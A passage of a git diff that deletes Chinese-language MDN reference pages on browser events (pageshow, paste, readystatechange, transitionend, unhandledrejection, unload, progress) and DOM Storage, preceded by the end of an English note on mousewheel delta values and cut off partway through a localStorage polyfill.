On Linux, the value is 120 or -120 per native wheel event. This makes the same behavior as IE and Chrome for Windows.

- -

On Mac, the value is complicated. The value is changed if the device that causes the native wheel event supports continuous scroll.

- -

If the device supports continuous scroll (e.g., trackpad of MacBook or mouse wheel which can be turned smoothly), the value is computed from accelerated scroll amount. In this case, the value is the same as Safari.

- -

If the device does not support continuous scroll (typically, old mouse wheel which cannot be turned smoothly), the value is computed from non-accelerated scroll amount (120 per notch). In this case, the value is different from Safari.

- -

This difference makes a serious issue for web application developers. That is, web developers cannot know if mousewheel event is caused by which device.

- -

See WebInputEventFactory::mouseWheelEvent of the Chromium's source code for the detail.

- -

Safari

- -

The value is always computed from accelerated scroll amount. This is really different from other browsers except Chrome with continuous scroll supported device.

- -

Note: tested with the Windows package, the earliest available version was Safari 3.0 from 2007. It could be that earlier versions (on Mac) support the properties too.

- -

Opera (Presto)

- -

The value is always the detail attribute value ✕ 40.

- -

On Windows, since the detail attribute value is computed from actual scroll amount, the value is different from other browsers except the scroll amount per notch is 3 lines in system settings or a page.

- -

On Linux, the value is 80 or -80 per native wheel event. This is different from other browsers.

- -

On Mac, the detail attribute value is computed from accelerated scroll amout of native event. The value is usually much bigger than Safari's or Chrome's value.

- -

See also

- -
    -
  • {{ domxref("MouseWheelEvent") }}
  • -
  • Gecko's legacy mouse wheel events: DOMMouseScroll, MozMousePixelScroll
  • -
  • Standardized wheel event: wheel
  • -
diff --git a/files/zh-cn/web/events/pageshow/index.html b/files/zh-cn/web/events/pageshow/index.html deleted file mode 100644 index d0aec41716..0000000000 --- a/files/zh-cn/web/events/pageshow/index.html +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: pageshow -slug: Web/Events/pageshow -translation_of: Web/API/Window/pageshow_event ---- -

当一条会话历史记录被执行的时候将会触发页面显示(pageshow)事件。(这包括了后退/前进按钮操作,同时也会在onload 事件触发后初始化页面时触发)

- -

基本信息

- -
-
规范
-
HTML5
-
接口
-
PageTransitionEvent
-
事件冒泡
-
No
-
事件取消
-
No
-
事件源
-
Document (dispatched on Window)
-
默认操作
-
None
-
- -

属性

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
persisted {{readonlyInline}}{{jsxref("boolean")}}表示网页是否是来自缓存.
- -

示例

- -

以下示例将会在控制台打印由前进/后退按钮以及load事件触发后引起的pageshow事件:

- -
window.addEventListener('pageshow', function(event) {
-    console.log('after , pageshow :',event);
-});
-
-
-window.addEventListener('load', function() {
-    console.log('before');
-});
-
- - - - - -

不规范的写法,你同样可以将这个事件当做一个属性添加到body标签,类似于onload

- -
<body onload="myonload()" onpageshow="mypageshowcode()">
- -

浏览器兼容性

- -

{{CompatibilityTable()}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("4")}}{{CompatGeckoDesktop("1.8")}}11155
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support2.3{{CompatUnknown()}}11355.1
- - -
- -

相关事件

- - diff --git a/files/zh-cn/web/events/paste/index.html b/files/zh-cn/web/events/paste/index.html deleted file mode 100644 index 1fb088eddf..0000000000 --- a/files/zh-cn/web/events/paste/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: 'Element: paste事件' -slug: Web/Events/paste -tags: - - Clipboard API - - Event - - Reference -translation_of: Web/API/Element/paste_event ---- -

 {{APIRef}}

- -

当用户在浏览器用户界面发起“粘贴”操作时,会触发paste事件。

- -
冒泡                 是
-
-可取消               是
-
-接口                 {{domxref("ClipboardEvent")}}
-
-事件处理属性          {{domxref("HTMLElement/onpaste", "onpaste")}}
-
- -

如果光标位于可编辑的上下文中(例如,在 {{HTMLElement("textarea")}} 或者 contenteditable 属性设置为 true的元素),则默认操作是将剪贴板的内容插入光标所在位置的文档中。

- -

事件处理程序可以通过调用事件的 clipboardData 属性上的 {{domxref("DataTransfer/getData", "getData()")}}访问剪贴板内容。

- -

要覆盖默认行为(例如,插入一些不同的数据或转换剪贴板的内容),事件处理程序必须使用 {{domxref("Event/preventDefault", "event.preventDefault()")}},取消默认操作,然后手动插入想要的数据。

- -

可以构造和分派合成的paste事件,但这不会影响文档内容。

- -

举例

- -

Live example

- -

HTML

- -
<div class="source" contenteditable="true">Try copying text from this box...</div>
-<div class="target" contenteditable="true">...and pasting it into this one</div>
- -

CSS

- -
div.source, div.target {
-    border: 1px solid gray;
-    margin: .5rem;
-    padding: .5rem;
-    height: 1rem;
-    background-color: #e9eef1;
-}
-
- -

JS

- -
const target = document.querySelector('div.target');
-
-target.addEventListener('paste', (event) => {
-    let paste = (event.clipboardData || window.clipboardData).getData('text');
-    paste = paste.toUpperCase();
-
-    const selection = window.getSelection();
-    if (!selection.rangeCount) return false;
-    selection.deleteFromDocument();
-    selection.getRangeAt(0).insertNode(document.createTextNode(paste));
-
-    event.preventDefault();
-});
-
- -

Result

- -

 {{EmbedLiveSample('Live_example', '100%', '100px')}}

- -

规范

- - - - - - - - - - - - - - -
规范状态
{{SpecName('Clipboard API', '#clipboard-event-paste')}}{{Spec2('Clipboard API')}}
- -

浏览器兼容性

- - - -

{{Compat("api.Element.paste_event")}}

- -

另见

- -
    -
  • Related events: {{domxref("Element/cut_event", "cut")}}, {{domxref("Element/copy_event", "copy")}}
  • -
  • This event on {{domxref("Document")}} targets: {{domxref("Document/paste_event", "paste")}}
  • -
  • This event on {{domxref("Window")}} targets: {{domxref("Window/paste_event", "paste")}}
  • -
diff --git "a/files/zh-cn/web/events/readystatechange\344\272\213\344\273\266/index.html" "b/files/zh-cn/web/events/readystatechange\344\272\213\344\273\266/index.html" deleted file mode 100644 index a4f95498ad..0000000000 --- "a/files/zh-cn/web/events/readystatechange\344\272\213\344\273\266/index.html" +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: 'Document: readystatechange 事件' -slug: Web/Events/readystatechange事件 -tags: - - Reference - - XMLHttpRequest - - interactive - - 事件 -translation_of: Web/API/Document/readystatechange_event ---- -
{{APIRef}}
- -

当文档的 {{domxref("Document.readyState", "readyState")}} 属性发生改变时,会触发 readystatechange 事件。

- - - - - - - - - - - - - - - - - - - - -
是否冒泡
是否可取消
接口{{domxref("Event")}}
Event handler 属性onreadystatechange
- -

示例

- -

实时演示

- -

HTML

- -
<div class="controls">
-  <button id="reload" type="button">Reload</button>
-</div>
-
-<div class="event-log">
-  <label>Event log:</label>
-  <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea>
-</div>
- - - -

JS

- -
const log = document.querySelector('.event-log-contents');
-const reload = document.querySelector('#reload');
-
-reload.addEventListener('click', () => {
-  log.textContent ='';
-  window.setTimeout(() => {
-      window.location.reload(true);
-  }, 200);
-});
-
-window.addEventListener('load', (event) => {
-    log.textContent = log.textContent + 'load\n';
-});
-
-document.addEventListener('readystatechange', (event) => {
-    log.textContent = log.textContent + `readystate: ${document.readyState}\n`;
-});
-
-document.addEventListener('DOMContentLoaded', (event) => {
-    log.textContent = log.textContent + `DOMContentLoaded\n`;
-});
-
-
- -

结果

- -

- -

规范

- - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName("HTML WHATWG", "indices.html#event-readystatechange", "readystatechange")}}{{Spec2("HTML WHATWG")}}
- -

浏览器兼容性

- - - -

{{Compat("api.Document.readystatechange_event")}}

- -

IE 浏览器是一直支持 readystatechange 事件的,可作为 DOMContentLoaded 事件的替代方法(参见Browser compatibility的注释 [2])。

- -

参见

- -
    -
  • {{event("DOMContentLoaded")}}
  • -
  • {{event("load")}}
  • -
  • {{event("beforeunload")}}
  • -
  • {{event("unload")}}
  • -
diff --git a/files/zh-cn/web/events/transitionend/index.html b/files/zh-cn/web/events/transitionend/index.html deleted file mode 100644 index f79db8503a..0000000000 --- a/files/zh-cn/web/events/transitionend/index.html +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: transitionend -slug: Web/Events/transitionend -translation_of: Web/API/HTMLElement/transitionend_event ---- -
{{APIRef}}
- -

transitionend 事件会在 CSS transition 结束后触发. 当transition完成前移除transition时,比如移除css的{{cssxref("transition-property")}} 属性,事件将不会被触发.如在transition完成前设置  {{cssxref("display")}} 为"none",事件同样不会被触发。

- - - - - - - - - - - - - - - - - - - - -
是否冒泡
是否可取消
接口{{domxref("TransitionEvent")}}
事件处理器属性{{domxref("GlobalEventHandlers/ontransitionend", "ontransitionend")}}
- -

transitionend 事件是双向触发的 - 当完成到转换状态的过渡,以及完全恢复到默认或非转换状态时都会触发。 如果没有过渡延迟或持续时间,即两者的值都为0s或者都未声明, 则不发生过渡,并且任何过渡事件都不会触发。如果触发了 transitioncancel 事件,则transitionend 事件不会触发。

- -

- -
/*
- * 在指定的元素上监听transitionend事件, 例如#slidingMenu
- * 然后指定一个函数, 例如 showMessage()
- */
-function showMessage() {
-    console.log('Transition 已完成');
-}
-
-var element = document.getElementById("slidingMenu");
-element.addEventListener("transitionend", showMessage, false);
-
- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName("CSS3 Transitions", "#transition-events", "transitionend")}}{{ Spec2('CSS3 Transitions') }}Initial definition.
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support1.0[1]
- 36
{{CompatGeckoDesktop("2.0")}}1010.5[2]
- 12
- 12.10
- 23
3.2[1]
- 7.0.6
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.1{{CompatGeckoMobile("2.0")}}{{CompatUnknown}}10[2]
- 12
- 12.10
3.2[1]
-
- -

[1] 在 Chrome 1.0, Android 2.1 与 WebKit 3.2 上实现 webkitTransitionEnd. Chrome 36 与 WebKit 7.0.6 上请使用标准事件 transitionend.

- -

[2] 在 Opera 10.5 上实现oTransitionEnd,从版本12开始实现 otransitionend, 从版本12.10开始实现 transitionend.

- -

参考

- -
    -
  • The {{ domxref("TransitionEvent") }} interface and the transitionend event.
  • -
  • {{cssxref("transition")}}, {{cssxref("transition-delay")}}, {{cssxref("transition-duration")}}, {{cssxref("transition-property")}}, {{cssxref("transition-timing-function")}}.
  • -
diff --git a/files/zh-cn/web/events/unhandledrejection/index.html b/files/zh-cn/web/events/unhandledrejection/index.html deleted file mode 100644 index 9c3286aa44..0000000000 --- a/files/zh-cn/web/events/unhandledrejection/index.html +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: unhandledrejection -slug: Web/Events/unhandledrejection -tags: - - API - - JavaScript - - Promise - - unhandledrejection - - 事件 - - 参考 -translation_of: Web/API/Window/unhandledrejection_event ---- -
{{APIRef("HTML DOM")}}
- -

当{{jsxref("Promise")}} 被 reject 且没有 reject 处理器的时候,会触发 unhandledrejection 事件;这可能发生在 {{domxref("window")}} 下,但也可能发生在 {{domxref("Worker")}} 中。 这对于调试回退错误处理非常有用。

- - - - - - - - - - - - - - - - - - - - -
是否冒泡No
是否可取消Yes
接口{{domxref("PromiseRejectionEvent")}}
事件处理器属性{{domxref("WindowEventHandlers.onunhandledrejection", "onunhandledrejection")}}
- -

使用备注

- -

unhandledrejection 继承自 {{domxref("PromiseRejectionEvent")}},而 {{domxref("PromiseRejectionEvent")}} 又继承自 {{domxref("Event")}}。因此unhandledrejection 含有 PromiseRejectionEventEvent 的属性和方法。

- -

例子

- -

Here we have a few examples showing ways you can make use of the unhandledrejection event. The event includes two useful pieces of information:

- -

我们将通过几个例子来展示 unhandledrejection 事件的使用方式。该事件主要包含两部分有用的信息:

- -
-
promise
-
The actual {{jsxref("Promise")}} which was rejected with no handler available to deal with the rejection.
-
特定的 {{jsxref("Promise")}} 被 reject 而没有被相应的异常处理方法所处理时
-
reason
-
The reason that would have been passed into the rejection handler if one had existed. See {{jsxref("Promise.catch", "catch()")}} for details.
-
将会传入异常处理方法中的错误原因(如果存在),查看 {{jsxref("Promise.catch", "catch()")}} 相关以获取更多细节。
-
- -

基本的异常上报

- -

此示例只是将有关未处理的 Promise rejection 信息打印到控制台。

- -
window.addEventListener("unhandledrejection", event => {
-  console.warn(`UNHANDLED PROMISE REJECTION: ${event.reason}`);
-});
-
- -

您还可以使用 {{domxref("WindowEventHandlers.onunhandledrejection", "onunhandledrejection")}} 事件处理程序属性来设置事件侦听器:

- -
window.onunhandledrejection = event => {
-  console.warn(`UNHANDLED PROMISE REJECTION: ${event.reason}`);
-};
-
- -

防止默认处理

- -

许多环境(例如 {{Glossary("Node.js")}} ) 默认情况下会向控制台打印未处理的 Promise rejections。您可以通过添加一个处理程序来防止 unhandledrejection 这种情况的发生,该处理程序除了您希望执行的任何其他任务之外,还可以调用 {{domxref("Event.preventDefault()", "preventDefault()")}} 来取消该事件,从而防止该事件冒泡并由运行时的日志代码处理。这种方法之所以有效,是因为 unhandledrejection 是可以取消的。

- -
window.addEventListener('unhandledrejection', function (event) {
-  // ...您的代码可以处理未处理的拒绝...
-
-  // 防止默认处理(例如将错误输出到控制台)
-
-  event.preventDefault();
-});
-
- -

说明

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#unhandled-promise-rejections', 'unhandledrejection')}}{{Spec2('HTML WHATWG')}}Initial definition.
- -

浏览器兼容性

- - - -

{{Compat("api.Window.unhandledrejection_event")}}

- -

参考

- -
    -
  • {{SectionOnPage("/en-US/docs/Web/JavaScript/Guide/Using_promises", "Promise rejection events")}}
  • -
  • {{domxref("WindowEventHandlers.onunhandledrejection", "onunhandledrejection")}} event handler property1
  • -
  • {{Event("rejectionhandled")}}
  • -
  • {{domxref("Promise")}}
  • -
- -

[1] The corresponding event handler property is defined on the {{domxref("WindowEventHandlers")}} mixin, which is available on both the {{domxref("Window")}} interface and all types of {{domxref("Worker")}} interfaces.

diff --git a/files/zh-cn/web/events/unload/index.html b/files/zh-cn/web/events/unload/index.html deleted file mode 100644 index 2510b1f651..0000000000 --- a/files/zh-cn/web/events/unload/index.html +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: unload -slug: Web/Events/unload -tags: - - Window - - events - - unload -translation_of: Web/API/Window/unload_event ---- -

{{APIRef}}

- -

当文档或一个子资源正在被卸载时, 触发 unload事件。

- - - - - - - - - - - - - - - - - - - - -
可冒泡(Bubbles)No
可取消(Cancelable)No
接口(Interface){{domxref("Event")}}
事件处理程序属性(Event handler property){{domxref("WindowEventHandlers/onunload", "onunload")}}
- -

它在下面两个事件后被触发:

- -
    -
  1. beforeunload (可取消默认行为的事件)
  2. -
  3. pagehide
  4. -
- -

文档处于以下状态:

- -
    -
  • 所有资源仍存在 (图片, iframe 等.)
  • -
  • 对于终端用户所有资源均不可见
  • -
  • 界面交互无效 (window.open, alert, confirm 等.)
  • -
  • 错误不会停止卸载文档的过程
  • -
- -

请注意unload事件也遵循文档树:父iframe会在子iframe卸载前卸载(参考下面的例子).

- -

示例

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <title>Parent Frame</title>
-    <script>
-      window.addEventListener('beforeunload', function(event) {
-        console.log('I am the 1st one.');
-      });
-      window.addEventListener('unload', function(event) {
-        console.log('I am the 3rd one.');
-      });
-    </script>
-  </head>
-  <body>
-    <iframe src="child-frame.html"></iframe>
-  </body>
-</html>
- -

下面是 child-frame.html的内容:

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <title>Child Frame</title>
-    <script>
-      window.addEventListener('beforeunload', function(event) {
-        console.log('I am the 2nd one.');
-      });
-      window.addEventListener('unload', function(event) {
-        console.log('I am the 4th and last one…');
-      });
-    </script>
-  </head>
-  <body>
-      ☻
-  </body>
-</html>
- -

当父iframe被卸载,事件将按console.log() 消息描述的顺序触发。

- -

规范

- - - - - - - - - - - - - - - - -
规范状态描述
{{SpecName('UI Events', '#event-type-unload', 'unload')}}{{Spec2('UI Events')}}
- -

浏览器兼容性

- - - -

{{Compat("api.Window.unload_event")}}

- -

参见

- -
    -
  • 相关事件: {{domxref("Window/DOMContentLoaded_event", "DOMContentLoaded")}}, {{domxref("Document/readystatechange_event", "readystatechange")}}, {{domxref("Window/load_event", "load")}}
  • -
  • Unloading Documents — unload a document
  • -
diff --git "a/files/zh-cn/web/events/\350\277\233\345\272\246\346\235\241/index.html" "b/files/zh-cn/web/events/\350\277\233\345\272\246\346\235\241/index.html" deleted file mode 100644 index 6a63ab9d5e..0000000000 --- "a/files/zh-cn/web/events/\350\277\233\345\272\246\346\235\241/index.html" +++ /dev/null @@ -1,146 +0,0 @@ ---- -title: progress event -slug: Web/Events/进度条 -tags: - - API - - Event - - Reference - - Web - - XMLHttpRequest - - progress -translation_of: Web/API/XMLHttpRequest/progress_event ---- -

{{APIRef}}

- -

progress事件会在请求接收到数据的时候被周期性触发。

- - - - - - - - - - - - - - - - - - - - -
BubblesNo
CancelableNo
Interface{{domxref("ProgressEvent")}}
Event handler property{{domxref("XMLHttpRequestEventTarget/onprogress", "onprogress")}}
- -

示例

- -

Live example

- -

HTML

- -
<div class="controls">
-    <input class="xhr success" type="button" name="xhr" value="Click to start XHR (success)" />
-    <input class="xhr error" type="button" name="xhr" value="Click to start XHR (error)" />
-    <input class="xhr abort" type="button" name="xhr" value="Click to start XHR (abort)" />
-</div>
-
-<textarea readonly class="event-log"></textarea>
- - - -

JS

- -
const xhrButtonSuccess = document.querySelector('.xhr.success');
-const xhrButtonError = document.querySelector('.xhr.error');
-const xhrButtonAbort = document.querySelector('.xhr.abort');
-const log = document.querySelector('.event-log');
-
-function handleEvent(e) {
-    log.textContent = log.textContent + `${e.type}: ${e.loaded} bytes transferred\n`;
-}
-
-function addListeners(xhr) {
-    xhr.addEventListener('loadstart', handleEvent);
-    xhr.addEventListener('load', handleEvent);
-    xhr.addEventListener('loadend', handleEvent);
-    xhr.addEventListener('progress', handleEvent);
-    xhr.addEventListener('error', handleEvent);
-    xhr.addEventListener('abort', handleEvent);
-}
-
-function runXHR(url) {
-    log.textContent = '';
-
-    const xhr = new XMLHttpRequest();
-    addListeners(xhr);
-    xhr.open("GET", url);
-    xhr.send();
-    return xhr;
-}
-
-xhrButtonSuccess.addEventListener('click', () => {
-    runXHR('https://mdn.mozillademos.org/files/16553/DgsZYJNXcAIPwzy.jpg');
-});
-
-xhrButtonError.addEventListener('click', () => {
-    runXHR('https://somewhere.org/i-dont-exist');
-});
-
-xhrButtonAbort.addEventListener('click', () => {
-    runXHR('https://mdn.mozillademos.org/files/16553/DgsZYJNXcAIPwzy.jpg').abort();
-});
- -

Result

- -

{{ EmbedLiveSample('Live_example', '100%', '150px') }}

- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('XMLHttpRequest', '#event-xhr-progress')}}{{Spec2('XMLHttpRequest')}}
- -

浏览器兼容性

- - - -

{{Compat("api.XMLHttpRequest.progress_event")}}

- -

相关链接

- -
    -
  • Related events: {{domxref("XMLHttpRequest/loadstart_event", "loadstart")}}, {{domxref("XMLHttpRequest/load_event", "load")}}, {{domxref("XMLHttpRequest/loadend_event", "loadend")}}, {{domxref("XMLHttpRequest/error_event", "error")}}, {{domxref("XMLHttpRequest/abort_event", "abort")}}
  • -
  • Monitoring progress
  • -
diff --git a/files/zh-cn/web/guide/api/dom/index.html b/files/zh-cn/web/guide/api/dom/index.html deleted file mode 100644 index e09b7ab597..0000000000 --- a/files/zh-cn/web/guide/api/dom/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: DOM 开发者指南 -slug: Web/Guide/API/DOM -tags: - - API - - DOM - - Guide - - NeedsTranslation - - TopicStub -translation_of: Web/API/Document_Object_Model -translation_of_original: Web/Guide/API/DOM ---- -

{{draft}}

- -

文档对象模型( Document Object Model) 是为 HTMLXML 文档编写的应用程序接口。它为文档提供了结构化的描述, 使得开发者能够修改它们的内容和展现方式. 更重要的是, 它可以将网页与脚本或编程语言连接起来。

- -

开发者能用来修改和创建网页的所有性质、方法和事件都被组织到对象objects)中, (例如, document 对象代表着文档本身,table 对象代表 一个 HTML 表格元素等等)。在较新的网络浏览器中,这些对象都可以用脚本语言获取。

- -

DOM模型常被用来与 JavaScript交互。然而,DOM是独立于任何编程语言之外而设计的,这使得文档的结构化描述可以从一个单个、兼容的接口获取,尽管我们青睐于Javascript,但我们可以为任何语言创建DOM的引用接口。

- -

万维网联盟组织( World Wide Web Consortium )为DOM建立了一套标准, 叫做 W3C DOM。它被如今大多数主流浏览器所支持,使得可以开发出强大的跨浏览器应用。

- -

为什么DOM很重要?

- -

"动态超文本链接语言" (DHTML) 是一个被一些开发者们用来描述结合HTML、样式表、脚本而使文档富有动态效果技术的名词。 W3C DOM工作组致力于开发可操作的、不受语言限制并被大家所认同的解决方案 (可参见 W3C 问答).

- -

正如 Mozilla 的标题"网络应用程序平台”所强调的, 对DOM的支持是核心的特点,也是Mozilla能取代其它浏览器所必需的特点。更为重要的事实是--Mozilla(包括Firefox和Thunderbird)的用户界面都是用XUL创建的,并且用DOM修改自己的用户界面

- -

更多关于DOM的内容

- -

{{LandingPageListSubpages}}

- -

 

diff --git a/files/zh-cn/web/guide/api/dom/storage/index.html b/files/zh-cn/web/guide/api/dom/storage/index.html deleted file mode 100644 index 194b71a94a..0000000000 --- a/files/zh-cn/web/guide/api/dom/storage/index.html +++ /dev/null @@ -1,542 +0,0 @@ ---- -title: Storage -slug: Web/Guide/API/DOM/Storage -translation_of: Web/API/Web_Storage_API -translation_of_original: Web/Guide/API/DOM/Storage ---- -

- 概述

-

- DOM存储是一套在Web Applications 1.0 规范中首次引入的与存储相关的特性的总称, 现在已经分离出来,单独发展成为独立的W3C Web存储规范. DOM存储被设计为用来提供一个更大存储量,更安全,更便捷的存储方法,从而可以代替掉将一些不需要让服务器知道的信息存储到cookies里的这种传统方法.该特性在Firefox 2Safari 4中首次引入.

-
- 注意: DOM存储有别于mozStorage (Mozilla的XPCOM接口,用来访问SQLite) 也有别于Session store API (一个XPCOM 存储工具,主要为扩展程序使用).
-

- 描述

-

- DOM存储的机制是通过存储字符串类型的键/值对,来提供一种安全的存取方式.这个附加功能的目标是提供一个全面的,可以用来创建交互式应用程序的方法(包括那些高级功能,例如可以离线工作一段时间).

-

- 基于Mozilla的浏览器, Internet Explorer 8+, Safari 4+ 以及 Chrome 都提供了自己的DOM存储规范的实现. (如果你想让自己的代码兼容多个浏览器,则你需要照顾一下老版本的IE浏览器,IE下有一个类似的特性,在IE8之前版本也可以使用,叫做"userData behavior",它允许你在多重浏览器会话中永久地保存数据.)

-

- DOM存储很有用,因为在浏览器端没有好的方法来持久保存大量数据。浏览器cookie的能力有限,而且不支持组织持久数据,其他方法(如flash本地存储)需要外部插件支持。

-

- 由Aaron Boodman编写的halfnote(笔记类应用程序)是第一批使用新的DOM存储功能(不包括internet explorer的userData behavior)开发的公开应用程序之一。在这个应用里,Aaron同时将笔记保存到服务器(当网络可用时)和本地,这允许使用者即使在不稳定的网络环境下也能安全的记录备注事项。

-

- 虽然halfnote的理念和实现比较简单,但是halfnote的创新展示了一种在线上和线下都可用的新型web应用的可能性。

-

- 参考

-

- 以下所提到的对象都是全局对象,作为 window 对象 的属性存在。这意味着可以以 sessionStorage 或者 window.sessionStorage 的形式访问这些对象。(这点很重要,因为可以使用iframe来存储、访问除了直接包含在页面的数据之外的附加数据。)

-

- Storage

-

- 它是所有Storage实例(sessionStorageglobalStorage[location.hostname])的构造函数,设置Storage.prototype.removeKey = function(key) { this.removeItem(this.key(key)) },可通过localStorage.removeKeysessionStorage.removeKey访问到。

-

- globalStorage对象不是Storage的实例,而是StorageObsolete的一个实例。

-

- Storage被定义在WhatWG Storage Interface 中,如下:

-
interface Storage {
-  readonly attribute unsigned long length;
-  [IndexGetter] DOMString key(in unsigned long index);
-  [NameGetter] DOMString getItem(in DOMString key);
-  [NameSetter] void setItem(in DOMString key, in DOMString data);
-  [NameDeleter] void removeItem(in DOMString key);
-  void clear();
-};
-
-
- 注意:虽然可以直接通过标准的 JavaScript 属性访问方法来设置和读取值,但是推荐的做法是使用 getItem 和 setItem 方法。
-
- 注意:需要时刻注意的一点是,所有数据在被保存到下面将要介绍的任何一个存储器之前,都将通过它的 .toString 方法被转换成字符串。所以一个普通对象将会被存储为 "[object Object]",而不是对象本身或者它的 JSON 形式。使用浏览器自身提供的 JSON 解析和序列化方法来存取对象是比较好的,也是比较常见的方法。
-

- sessionStorage

-

- sessionStorage 是个全局对象,它维护着在页面会话(page session)期间有效的存储空间。只要浏览器开着,页面会话周期就会一直持续。当页面重新载入(reload)或者被恢复(restores)时,页面会话也是一直存在的。每在新标签或者新窗口中打开一个新页面,都会初始化一个新的会话。 

-
// 保存数据到当前会话的存储空间
-sessionStorage.setItem("username", "John");
-
-// 访问数据
-alert( "username = " + sessionStorage.getItem("username"));
-
-

- 当浏览器被意外刷新的时候,一些临时数据应当被保存和恢复。sessionStorage 对象在处理这种情况的时候是最有用的。

-

- {{ fx_minversion_note("3.5", "在Firefox 3.5之前的版本中,如果浏览器意外崩溃,则在重启后,sessionStorage中保存的数据不会被恢复.之后的版本中,会恢复上次崩溃前的sessionStorage数据.") }}

-

- 例子:

-

- 自动保存一个文本域中的内容,如果浏览器被意外刷新,则恢复该文本域中的内容,所以不会丢失任何输入的数据。

-
 // 获取到我们要循环保存的文本域
- var field = document.getElementById("field");
-
- // 查看是否有一个自动保存的值
- // (只在浏览器被意外刷新时)
- if ( sessionStorage.getItem("autosave")) {
-    // 恢复文本域中的内容
-    field.value = sessionStorage.getItem("autosave");
- }
-
- // 每隔一秒检查文本域中的内容
- setInterval(function(){
-    // 并将文本域的值保存到session storage对象中
-    sessionStorage.setItem("autosave", field.value);
- }, 1000);
-
-

- 更多信息:

- -

- localStorage

-

- localStorage is the same as sessionStorage with same same-origin rules applied but it is persistent. localStorage was introduced in Firefox 3.5.

-
- 注意:当浏览器进入私人模式(private browsing mode,Google Chrome 上对应的应该是叫隐身模式)的时候,会创建一个新的、临时的、空的数据库,用以存储本地数据(local storage data)。当浏览器关闭时,里面的所有数据都将被丢弃。
-

- 兼容性

-

- 这些 Storage 对象最近刚被加入标准当中,所以并不是所有的浏览器都支持。如果你想在没有原生支持 localStorage 对象的浏览器中使用它,可以在你编写的 JavaScript 代码的首部插入下面两段代码中的任意一段。

-

- This algorithm is an exact imitation of the localStorage object, but making use of cookies.

-
if (!window.localStorage) {
-  Object.defineProperty(window, "localStorage", new (function () {
-    var aKeys = [], oStorage = {};
-    Object.defineProperty(oStorage, "getItem", {
-      value: function (sKey) { return sKey ? this[sKey] : null; },
-      writable: false,
-      configurable: false,
-      enumerable: false
-    });
-    Object.defineProperty(oStorage, "key", {
-      value: function (nKeyId) { return aKeys[nKeyId]; },
-      writable: false,
-      configurable: false,
-      enumerable: false
-    });
-    Object.defineProperty(oStorage, "setItem", {
-      value: function (sKey, sValue) {
-        if(!sKey) { return; }
-        document.cookie = escape(sKey) + "=" + escape(sValue) + "; path=/";
-      },
-      writable: false,
-      configurable: false,
-      enumerable: false
-    });
-    Object.defineProperty(oStorage, "length", {
-      get: function () { return aKeys.length; },
-      configurable: false,
-      enumerable: false
-    });
-    Object.defineProperty(oStorage, "removeItem", {
-      value: function (sKey) {
-        if(!sKey) { return; }
-        var sExpDate = new Date();
-        sExpDate.setDate(sExpDate.getDate() - 1);
-        document.cookie = escape(sKey) + "=; expires=" + sExpDate.toGMTString() + "; path=/";
-      },
-      writable: false,
-      configurable: false,
-      enumerable: false
-    });
-    this.get = function () {
-      var iThisIndx;
-      for (var sKey in oStorage) {
-        iThisIndx = aKeys.indexOf(sKey);
-        if (iThisIndx === -1) { oStorage.setItem(sKey, oStorage[sKey]); }
-        else { aKeys.splice(iThisIndx, 1); }
-        delete oStorage[sKey];
-      }
-      for (aKeys; aKeys.length > 0; aKeys.splice(0, 1)) { oStorage.removeItem(aKeys[0]); }
-      for (var iCouple, iKey, iCouplId = 0, aCouples = document.cookie.split(/\s*;\s*/); iCouplId < aCouples.length; iCouplId++) {
-        iCouple = aCouples[iCouplId].split(/\s*=\s*/);
-        if (iCouple.length > 1) {
-          oStorage[iKey = unescape(iCouple[0])] = unescape(iCouple[1]);
-          aKeys.push(iKey);
-        }
-      }
-      return oStorage;
-    };
-    this.configurable = false;
-    this.enumerable = true;
-  })());
-}
-
-
- Note: The maximum size of data that can be saved is severely restricted by the use of cookies. With this algorithm, use the functions localStorage.setItem() and localStorage.removeItem() to add, change or remove a key. The use of methods localStorage.yourKey = yourValue; and delete localStorage.yourKey; to set or delete a key is not a secure way with this code. You can also change its name and use it only to manage a document's cookies regardless of the localStorage object.
-

- Here is another, less exact, imitation of the localStorage object. It is simpler than the previous one, but it is compatible with old browsers, like Internet Explorer < 8. It also makes use of cookies.

-
if (!window.localStorage) {
-  window.localStorage = {
-    getItem: function (sKey) {
-      if (!sKey || !this.hasOwnProperty(sKey)) { return null; }
-      return unescape(document.cookie.replace(new RegExp("(?:^|.*;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*((?:[^;](?!;))*[^;]?).*"), "$1"));
-    },
-    key: function (nKeyId) { return unescape(document.cookie.replace(/\s*\=(?:.(?!;))*$/, "").split(/\s*\=(?:[^;](?!;))*[^;]?;\s*/)[nKeyId]); },
-    setItem: function (sKey, sValue) {
-      if(!sKey) { return; }
